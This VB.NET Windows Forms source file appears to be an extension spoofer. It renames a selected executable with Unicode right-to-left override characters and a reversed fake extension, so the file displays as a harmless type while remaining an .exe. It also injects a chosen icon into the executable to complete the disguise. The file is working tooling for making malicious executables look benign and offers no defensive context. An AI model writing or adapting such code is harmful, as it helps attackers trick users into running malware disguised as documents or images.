Imports System.IO
Public Class Form1
    Dim ofd As New OpenFileDialog
    Private Sub btnBrowse_Click(sender As System.Object, e As System.EventArgs) Handles btnBrowse.Click
        ofd.Filter = "Executable Files | *.exe"
        ofd.Title = "Select original file"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
            txtFilePath.Text = ofd.FileName
        End If
    End Sub

    Private Sub btnSpoof_Click(sender As System.Object, e As System.EventArgs) Handles btnSpoof.Click
        If txtFilePath.Text = "" Then
            MsgBox("Error! Please browse a file!")
        Else
            My.Computer.FileSystem.RenameFile(ofd.FileName, Split(ofd.SafeFileName, ".")(0) & "‮‮‮" & StrReverse(cmbExtension.SelectedItem.ToString) & ".exe")
            MsgBox("Extension Changed!")
        End If
    End Sub

    Private Sub btnBrowseIcon_Click(sender As System.Object, e As System.EventArgs) Handles btnBrowseIcon.Click
        ofd.Filter = "Icon Files | *.ico"
        ofd.Title = "Select icon file"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
            txtIconPath.Text = ofd.FileName
            PictureBox1.ImageLocation = txtIconPath.Text
        End If

    End Sub

    Private Sub btnChangeIcon_Click(sender As System.Object, e As System.EventArgs) Handles btnChangeIcon.Click
        If txtIconPath.Text = "" Or txtFilePath.Text = "" Then
            MsgBox("Please make sure you have loaded a Icon and EXE File")
        Else
            IconInjector.InjectIcon(txtFilePath.Text, txtIconPath.Text)
            MsgBox("Icon changed!")
        End If
    End Sub
End Class